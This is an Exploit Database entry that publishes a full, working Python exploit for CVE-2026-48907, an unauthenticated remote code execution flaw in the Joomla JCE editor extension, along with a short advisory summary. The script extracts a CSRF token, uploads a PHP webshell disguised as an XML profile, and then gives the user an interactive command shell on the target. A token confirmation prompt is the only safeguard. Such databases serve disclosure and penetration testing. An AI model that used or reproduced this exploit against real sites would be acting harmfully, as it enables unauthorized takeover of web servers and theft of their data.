This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING Joomla 2.9.99.4 - Unauthenticated Remote Code Execution EDB-ID: 52630 CVE: 2026-48907 EDB Verified: Author: JARED BRITS Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-08-10 Vulnerable App: # Exploit Title: Joomla 2.9.99.4 -Unauthenticated Remote Code Execution # Date: 2026-07-10 # Exploit Author: K3ysTr0K3R (Jared Brits) # Vendor Homepage: https://www.joomla.org/ # Software Link: https://extensions.joomla.org/extension/jce/ # Version: JCE 1.0.0 through 2.9.99.4 (fixed in 2.9.99.5) # Tested on: Joomla 3.10.11 / JCE 2.9.15 / Apache 2.4 / PHP 7.4 # CVE: CVE-2026-48907 # Description: The JCE (Joomla Content Editor) profile import functionality # lacks proper authentication and CSRF protections. An unauthenticated # attacker can upload a crafted XML file containing PHP code; the # file is stored in the /tmp/ directory and can be accessed via HTTP, # leading to remote code execution. # # Usage examples: # python3 exploit.py -u http://example.com --interactive # python3 exploit.py -u http://example.com --cmd "id" # python3 exploit.py -u http://example.com -v import re import sys import argparse import requests from random import randint from time import sleep from urllib.parse import urljoin from rich.console import Console from rich.text import Text console = Console() requests.packages.urllib3.disable_warnings( requests.packages.urllib3.exceptions.InsecureRequestWarning ) class JCEExploit: def __init__(self, target_url, proxy=None, verbose=False): self.target = target_url.rstrip('/') self.verbose = verbose self.session = requests.Session() self.session.verify = False if proxy: self.session.proxies = { 'http': proxy, 'https': proxy } self.filename = f"jce-{randint(1000, 9999)}.xml.php" self.payload = '<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>' def log(self, msg, level="INFO"): if self.verbose or level in ["SUCCESS", "ERROR", "WARNING"]: level_style = { "INFO": "blue", "SUCCESS": "green", "ERROR": "red", "WARNING": "yellow" } symbol = { "INFO": "[*]", "SUCCESS": "[+]", "ERROR": "[-]", "WARNING": "[!]" }.get(level, "[*]") text = Text() text.append(symbol, style=level_style.get(level, "blue")) text.append(f" {msg}") console.print(text) def get_csrf_token(self): try: resp = self.session.get(self.target + '/', timeout=10) if resp.status_code != 200: self.log(f"Unable to reach target (HTTP {resp.status_code})", "ERROR") return None patterns = [ r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"', r'<input[^>]*name="([a-f0-9]{32})"[^>]*value="1"', r'<meta[^>]*name="csrf\.token"[^>]*content="([a-f0-9]{32})"', r'name="([a-f0-9]{32})"\s+value="1"', ] for pattern in patterns: match = re.search(pattern, resp.text, re.I) if match: token = match.group(1) self.log(f"CSRF token extracted: {token}", "SUCCESS") return token self.log("Could not find CSRF token in the page", "ERROR") return None except requests.RequestException as e: self.log(f"Request failed: {e}", "ERROR") return None def upload_profile(self, token): if not token: return False endpoint = urljoin(self.target, '/index.php?option=com_jce') files = { 'profile_file': (self.filename, self.payload, 'application/xml') } data = { 'task': 'profiles.import', token: '1' } try: self.log(f"Uploading malicious file: {self.filename}") resp = self.session.post(endpoint, files=files, data=data, timeout=15) if resp.status_code != 200: self.log(f"Upload failed (HTTP {resp.status_code})", "ERROR") return False if 'success' in resp.text and 'true' in resp.text: self.log("Profile imported – file written to /tmp/", "SUCCESS") return True else: self.log("Profile import may have failed", "WARNING") return False except requests.RequestException as e: self.log(f"Upload request failed: {e}", "ERROR") return False def get_webshell_url(self): return urljoin(self.target, f'/tmp/{self.filename}') def execute_command(self, command): if not command: return "" url = self.get_webshell_url() try: resp = self.session.get(url, params={'cmd': command}, timeout=10) if resp.status_code == 200: return resp.text else: return f"[!] HTTP {resp.status_code} – command may have failed." except requests.RequestException as e: return f"[!] Request error: {e}" def interactive_shell(self): self.log("Entering interactive shell. Type 'exit' to quit.", "SUCCESS") console.print(f"Webshell URL: [cyan]{self.get_webshell_url()}[/cyan]\n") while True: try: cmd = console.input("[cyan]$> [/cyan]").strip() if cmd.lower() in ('exit', 'quit'): break if cmd == "": continue output = self.execute_command(cmd) print(output) except KeyboardInterrupt: print("\nExiting.") break def run(self, command=None, interactive=False): self.log(f"Target: {self.target}") self.log("Starting CVE-2026-48907 exploitation process") token = self.get_csrf_token() if not token: self.log("Unable to get CSRF token – JCE may not be installed or fixed.", "ERROR") return False if not self.upload_profile(token): self.log("Upload failed – target may be patched.", "ERROR") return False test_output = self.execute_command("echo JCE_TEST") if "JCE_TEST" in test_output: self.log("Webshell is active and responding.", "SUCCESS") else: self.log("Webshell does not respond as expected – command execution may be disabled.", "WARNING") if command: self.log(f"Executing command: {command}") output = self.execute_command(command) print(output) return True if interactive: self.interactive_shell() else: self.log("Exploit complete. Use --interactive to get a shell, or --cmd to run one command.", "INFO") self.log(f"Direct webshell URL: {self.get_webshell_url()}") return True def main(): parser = argparse.ArgumentParser( description='CVE-2026-48907 - Joomla JCE Unauthenticated RCE', epilog='Examples:\n' ' python3 exploit.py -u http://target.com --interactive\n' ' python3 exploit.py -u http://target.com --cmd "id"\n' ' python3 exploit.py -u http://target.com -v' ) parser.add_argument('-u', '--url', required=True, help='Target Joomla base URL') parser.add_argument('--proxy', help='HTTP proxy (e.g., http://127.0.0.1:8080)') parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output') parser.add_argument('--cmd', help='Execute a single command and exit') parser.add_argument('--interactive', action='store_true', help='Start an interactive shell') args = parser.parse_args() banner = Text() banner.append("[!] ", style="yellow") banner.append("CVE-2026-48907 - Joomla JCE Unauthenticated RCE Exploit\n") banner.append("[!] ", style="yellow") banner.append("Coded by K3ysTr0K3R (Jared Brits)\n") console.print(banner, style="bold") if not args.verbose and not args.cmd and not args.interactive: confirm = console.input("\nConfirm you are testing in an authorized environment? (y/N): ") if confirm.lower() != 'y': console.print("Exiting.") sys.exit(0) exploit = JCEExploit(args.url, args.proxy, args.verbose) success = exploit.run(command=args.cmd, interactive=args.interactive) sys.exit(0 if success else 1) if __name__ == "__main__": main() Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.
A critical unauthenticated remote code execution vulnerability (CVE-2026-48907, CVSS 9.8) exists in the JCE (Joomla Content Editor) extension due to insufficient authentication and CSRF protection in the profile import feature, allowing attackers to upload malicious XML files containing PHP code. The vulnerability affects JCE versions prior to 2.9.99.5. A fix is available in JCE version 2.9.99.5.